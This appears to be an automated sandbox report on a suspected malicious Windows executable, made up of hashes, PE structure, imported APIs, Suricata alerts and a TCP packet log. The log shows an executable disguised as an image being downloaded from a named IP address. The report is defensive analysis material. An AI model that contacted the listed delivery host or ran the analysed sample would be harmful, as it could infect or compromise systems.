SSDEEP:	24576:/X48QE+UUvlJSuoBa6xGuPAIV8D/6kN1betf2Zo0bKrx:/Xz+aUM/ID6yBetOAN
TLSH:	AE150219A1022235D49357704CD7E22EF936FF58562AD8CBB6D83F099B331EA151A38F
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	2564a4a6a5bfb5af

Static PE Info

General

Entrypoint:	0x425468
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b8494300a1f7342d4c600a7b12e15925

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00425388h
call 00007F5FB48F6849h
mov eax, 004254C8h
call 00007F5FB48F924Fh
mov edx, dword ptr [00428840h]
mov dword ptr [edx], eax
mov edx, dword ptr [00428840h]
mov edx, dword ptr [edx]
mov eax, dword ptr [00428848h]
call 00007F5FB4914A09h
mov edx, dword ptr [00428840h]
mov edx, dword ptr [edx]
mov eax, dword ptr [004287DCh]
call 00007F5FB490DA9Fh
mov eax, dword ptr [00428840h]
call 00007F5FB48FC4D1h
call 00007F5FB48F5704h
add byte ptr [eax], al
add bh, bh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2b000	0x1798	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x31000	0x7734	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2f000	0x1884	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2e000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x244cc	0x24600	bac8bae7a5e5326cf49943b90d1c062a	False	0.5598622744845361	data	6.594375997321255	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x26000	0x2894	0x2a00	abafcbfbd7f8ac0226ca496a92a0cf06	False	0.31556919642857145	Matlab v4 mat-file (little endian) , numeric, rows 0, columns 4230402	3.7937570409882295	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x29000	0x10f5	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2b000	0x1798	0x1800	7a4934595db0efc364c3982c4e335d8c	False	0.3977864583333333	data	4.8854949370233145	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x2d000	0x8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x2e000	0x18	0x200	c4fdd0c5c9efb616fcc85d66056ca490	False	0.05078125	data	0.2044881574398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x2f000	0x1884	0x1a00	867a1120317d51734587a74f6ee70016	False	0.7889122596153846	data	6.586647864611828	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x31000	0x7734	0x7800	8cfdaa0ecd29084d5295eec60aebe0c2	False	0.44248046875	data	5.6884982329546645	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x31330	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192			0.4391891891891892
RT_ICON	0x31458	0x368	Device independent bitmap graphic, 16 x 32 x 24, image size 832			0.7557339449541285
RT_ICON	0x317c0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640			0.2567204301075269
RT_ICON	0x31aa8	0xca8	Device independent bitmap graphic, 32 x 64 x 24, image size 3200			0.5694444444444444
RT_ICON	0x32750	0x1ca8	Device independent bitmap graphic, 48 x 96 x 24, image size 7296			0.4533805888767721
RT_ICON	0x343f8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.6524822695035462
RT_ICON	0x34860	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.46810506566604126
RT_ICON	0x35908	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600			0.4063278008298755
RT_RCDATA	0x37eb0	0x10	data			1.5
RT_RCDATA	0x37ec0	0x110	data			0.9044117647058824
RT_GROUP_ICON	0x37fd0	0x76	data			0.6864406779661016
RT_VERSION	0x38048	0x374	data	Russian	Russia	0.3246606334841629
RT_MANIFEST	0x383bc	0x376	XML 1.0 document, ASCII text, with CRLF line terminators	Russian	Russia	0.47404063205417607

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetVersion, GetCurrentThreadId, WideCharToMultiByte, GetThreadLocale, GetStartupInfoA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, ExitProcess, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
user32.dll	GetKeyboardType, MessageBoxA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegCloseKey, OpenThreadToken, OpenProcessToken, GetTokenInformation, FreeSid, EqualSid, AllocateAndInitializeSid, AdjustTokenPrivileges
kernel32.dll	WriteFile, WinExec, WaitForSingleObject, TerminateProcess, SystemTimeToFileTime, Sleep, SetFileTime, SetFilePointer, SetErrorMode, SetEndOfFile, ReadFile, OpenProcess, MultiByteToWideChar, LocalFileTimeToFileTime, LoadLibraryA, GlobalFree, GlobalAlloc, GetVersion, GetUserDefaultLangID, GetProcAddress, GetModuleHandleA, GetLocalTime, GetLastError, GetFileTime, GetFileSize, GetExitCodeProcess, GetCurrentThread, GetCurrentProcess, FreeLibrary, FindClose, FileTimeToSystemTime, FileTimeToLocalFileTime, DosDateTimeToFileTime, CompareFileTime, CloseHandle
gdi32.dll	StretchDIBits, StretchBlt, SetWindowOrgEx, SetTextColor, SetStretchBltMode, SetRectRgn, SetROP2, SetPixel, SetDIBits, SetBrushOrgEx, SetBkMode, SetBkColor, SelectObject, SaveDC, RestoreDC, OffsetRgn, MoveToEx, IntersectClipRect, GetStockObject, GetPixel, GetDIBits, ExtSelectClipRgn, ExcludeClipRect, DeleteObject, DeleteDC, CreateSolidBrush, CreateRectRgn, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CombineRgn, BitBlt
user32.dll	WaitMessage, ValidateRect, TranslateMessage, ShowWindow, SetWindowPos, SetTimer, SetParent, SetForegroundWindow, SetFocus, SetCursor, SendMessageA, ScreenToClient, ReleaseDC, PostQuitMessage, OffsetRect, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsIconic, InvalidateRect, GetWindowRgn, GetWindowRect, GetWindowDC, GetUpdateRgn, GetSystemMetrics, GetSystemMenu, GetSysColor, GetParent, GetWindow, GetKeyState, GetFocus, GetDCEx, GetDC, GetCursorPos, GetClientRect, GetCapture, FillRect, ExitWindowsEx, EnumWindows, EndPaint, EnableWindow, EnableMenuItem, DrawIcon, DestroyWindow, DestroyIcon, DeleteMenu, CopyImage, ClientToScreen, BeginPaint, CharLowerBuffA
advapi32.dll	RegSetValueExA, RegQueryValueExA, RegQueryInfoKeyA, RegOpenKeyExA, RegEnumKeyExA, RegCreateKeyExA, LookupPrivilegeValueA, GetUserNameA
kernel32.dll	WritePrivateProfileStringA, SetFileAttributesA, SetCurrentDirectoryA, RemoveDirectoryA, LoadLibraryA, GetWindowsDirectoryA, GetVersionExA, GetTimeFormatA, GetTempPathA, GetSystemDirectoryA, GetShortPathNameA, GetPrivateProfileStringA, GetModuleHandleA, GetModuleFileNameA, GetFullPathNameA, GetFileAttributesA, GetDiskFreeSpaceA, GetDateFormatA, GetComputerNameA, GetCommandLineA, FindNextFileA, FindFirstFileA, ExpandEnvironmentStringsA, DeleteFileA, CreateFileA, CreateDirectoryA, CompareStringA
gdi32.dll	GetTextExtentPoint32A, GetObjectA, CreateFontIndirectA, AddFontResourceA
user32.dll	wvsprintfA, SetWindowLongA, SetPropA, SendMessageA, RemovePropA, RegisterClassA, PostMessageA, PeekMessageA, MessageBoxA, LoadIconA, LoadCursorA, GetWindowTextLengthA, GetWindowTextA, GetWindowLongA, GetPropA, GetClassLongA, GetClassInfoA, FindWindowA, DrawTextA, DispatchMessageA, DefWindowProcA, CreateWindowExA, CallWindowProcA
shell32.dll	SHGetFileInfoA
comctl32.dll	ImageList_Draw, ImageList_SetBkColor, ImageList_Create, InitCommonControls
ole32.dll	OleInitialize
oleaut32.dll	SysAllocStringLen
winmm.dll	timeKillEvent, timeSetEvent
shell32.dll	ShellExecuteExA, ShellExecuteA
cabinet.dll	FDIDestroy, FDICopy, FDICreate
ole32.dll	OleInitialize, CoTaskMemFree, CoCreateInstance, CoUninitialize, CoInitialize
shell32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHGetMalloc, SHChangeNotify, SHBrowseForFolderA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Russian	Russia

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:53:49.151969+0100	2025161	ET MALWARE Windows executable sent when remote host claims to send an image M4	1	185.125.51.5	80	192.168.11.20	49754	TCP
2025-01-11T07:53:49.151969+0100	2025169	ET MALWARE Windows Executable Downloaded With Image Content-Type Header	1	185.125.51.5	80	192.168.11.20	49754	TCP
2025-01-11T07:53:56.006785+0100	2008754	ET MALWARE Possible Rar'd Malware sent when remote host claims to send an Image	1	185.125.51.5	80	192.168.11.20	49757	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:53:37.630934954 CET	49746	443	192.168.11.20	23.213.53.9
Jan 11, 2025 07:53:48.278598070 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:48.496396065 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.496571064 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:48.496963024 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:48.714704037 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.715313911 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.715424061 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.715540886 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.715596914 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:48.715647936 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.715732098 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.715827942 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:48.715877056 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.715985060 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.716053963 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.716064930 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:48.716191053 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.716249943 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:48.716290951 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.716516018 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:48.933520079 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.933537006 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.933722973 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.933772087 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:48.933835030 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.933965921 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.934026003 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:48.934075117 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.934144974 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.934264898 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:48.934278011 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.934345961 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.934451103 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:48.934458971 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.934567928 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.934629917 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:48.934741020 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.934896946 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.934933901 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:48.935010910 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.935131073 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.935169935 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.935209036 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:48.935280085 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.935359001 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:48.935390949 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.935512066 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.935599089 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:48.935630083 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:48.935798883 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.151705980 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.151725054 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.151854992 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.151896000 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.151968956 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.152080059 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.152156115 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.152184963 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.152349949 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.152364016 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.152386904 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.152494907 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.152504921 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.152625084 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.152724981 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.152843952 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.153004885 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.153121948 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.153238058 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.153352022 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.153436899 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.153491020 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.153491020 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.153501987 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.153548002 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.153671980 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.153783083 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.153871059 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.153871059 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.153925896 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.153991938 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.154028893 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.154136896 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.154186964 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.154295921 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.154408932 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.154417992 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.154530048 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.154602051 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.154716015 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.154731035 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.154859066 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.154937983 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.154947042 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.155093908 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.155122995 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.155189991 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.155304909 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.155383110 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.155428886 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.155570030 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.155651093 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.155766964 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.155881882 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.155998945 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.156116962 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.156219959 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.156229973 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.156229973 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.156409025 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.369823933 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.369918108 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.370028019 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.370089054 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.370107889 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.370296001 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.370343924 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.370413065 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.370460033 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.370501995 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.370567083 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.370695114 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.370743990 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.370835066 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.370954037 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.371011972 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.371054888 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.371186018 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.371220112 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.371294975 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.371480942 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.371499062 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.371505022 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.371670961 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.371768951 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.371779919 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.371901989 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.371977091 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.372081041 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.372087002 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.372208118 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.372243881 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.372364998 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.372370005 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.372486115 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.372602940 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.372682095 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.372720003 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.372795105 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.372876883 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.372912884 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.373025894 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.373096943 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.373164892 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.373334885 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.373378038 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.373384953 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.373511076 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.373539925 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.373624086 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.373769999 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.373812914 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.373878002 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.374007940 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.374079943 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.374085903 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.374211073 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.374226093 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.374346972 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.374474049 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.374485970 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.374600887 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.374665976 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.374772072 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.374778986 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.374943018 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.374977112 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.375021935 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.375132084 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.375221014 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.375242949 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.375401974 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.375488997 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.375523090 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.375648022 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.375716925 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.375777960 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.375833035 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.375905991 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.375948906 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.376087904 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.376092911 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.376250029 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.376323938 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.376411915 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.376424074 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.376574039 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.376610994 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.376656055 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.376765966 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.376873970 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.376885891 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.377018929 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.377115011 CET	80	49754	185.125.51.5	192.168.11.20
Jan 11, 2025 07:53:49.377115965 CET	49754	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:53:49.377242088 CET	80	49754	185.125.51.5	192.168.11.20
